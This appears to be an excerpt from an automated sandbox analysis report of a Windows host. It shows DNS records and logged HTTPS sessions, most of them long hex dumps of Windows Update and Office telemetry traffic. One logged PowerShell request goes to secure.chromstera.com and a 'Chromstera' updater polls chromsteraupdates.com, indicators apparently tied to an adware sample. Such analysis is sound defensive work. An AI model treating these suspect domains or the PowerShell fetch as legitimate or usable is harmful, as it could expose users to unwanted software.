Oct 28, 2024 19:12:51.808140993 CET	1.1.1.1	192.168.2.4	0xe8d4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.811233044 CET	1.1.1.1	192.168.2.4	0x4d3d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

secure.chromstera.com

chromsteraupdates.com

slscr.update.microsoft.com

otelrules.azureedge.net

clients2.googleusercontent.com

edgeassetservice.azureedge.net

chrome.cloudflare-dns.com

msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	188.114.97.3	443	7964	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:11:31 UTC	119	OUT	GET /cross/crx3dynamic/?adv=426&v=4.4&time=1730139128 HTTP/1.1 Host: secure.chromstera.com Connection: Keep-Alive
2024-10-28 18:11:32 UTC	790	IN	HTTP/1.1 404 Not Found Date: Mon, 28 Oct 2024 18:11:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Referrer-Policy: no-referrer cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y4g0jurbb%2FylK2vxdGNtVOvYJ6WuYmHIJDz157KP1iuDbj2hgY2dNAcVG1v85MCCMcU0hYATOIB9I3tzplk3I1Dg4PmrjZncSKwOyB6wlxUdmw34FPOLlgKRlbM8Xx1WKD%2BUSuEFMME%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9ce38bffc5e96a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=733&delivery_rate=1698533&cwnd=248&unsent_bytes=0&cid=2453cd3faa7abb50&ts=320&x=0"
2024-10-28 18:11:32 UTC	348	IN	Data Raw: 31 35 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e Data Ascii: 155<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
2024-10-28 18:11:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	104.21.8.139	443	8100	C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:11:31 UTC	160	OUT	GET /download/updates.txt HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: chromsteraupdates.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-28 18:11:31 UTC	880	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:11:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 Connection: close Accept-Ranges: bytes ETag: "2817279164" Last-Modified: Sun, 27 Oct 2024 22:02:50 GMT Referrer-Policy: no-referrer cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bJqGMYy%2BWwErS7TlJr3rcsmq9ZxXVpeel0Um3azP8yC%2FLQ%2FD43c5Ot5mxdu8l8vqTRoIJ6baLxPyTRjGMcaANLAn8MGcioq5dwq1f409oWhc0ubQLaVW8ZbjdbRfbXCXDpfHVcNYaxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9ce38bfbf8e867-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1454&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=774&delivery_rate=1991746&cwnd=251&unsent_bytes=0&cid=c9edb86717f60947&ts=271&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:11:38 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUkVGK2e4kgEmE9&MD=mNzcmBgT HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 18:11:38 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a60a63cc-d162-438d-b310-b266c16d60a2 MS-RequestId: bb5620ba-5c49-48b6-a6c0-ac7faa0b229e MS-CV: BV2u2RkShUuM9exh.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 18:11:38 GMT Connection: close Content-Length: 24490
2024-10-28 18:11:38 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-28 18:11:38 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49754	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:16 UTC	561	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 27 Oct 2024 10:35:44 GMT ETag: "0x8DCF6731CF80310" x-ms-request-id: 89d6c6b8-201e-0033-2798-28b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181216Z-17fbfdc98bb9cv5m0pampz446s00000004sg00000000c8xv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:16 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-28 18:12:16 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-28 18:12:16 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-28 18:12:16 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-28 18:12:16 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-28 18:12:17 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-28 18:12:17 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-28 18:12:17 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-28 18:12:17 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-28 18:12:17 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49755	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:17 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUkVGK2e4kgEmE9&MD=mNzcmBgT HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 18:12:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 999929c3-dd83-44dc-8676-012a1fb38e47 MS-RequestId: d458b39e-0f0f-4f0c-934d-5b2c4dc6a5c7 MS-CV: XjHqGozIH0WBazVv.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 18:12:17 GMT Connection: close Content-Length: 30005
2024-10-28 18:12:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-28 18:12:18 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49760	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
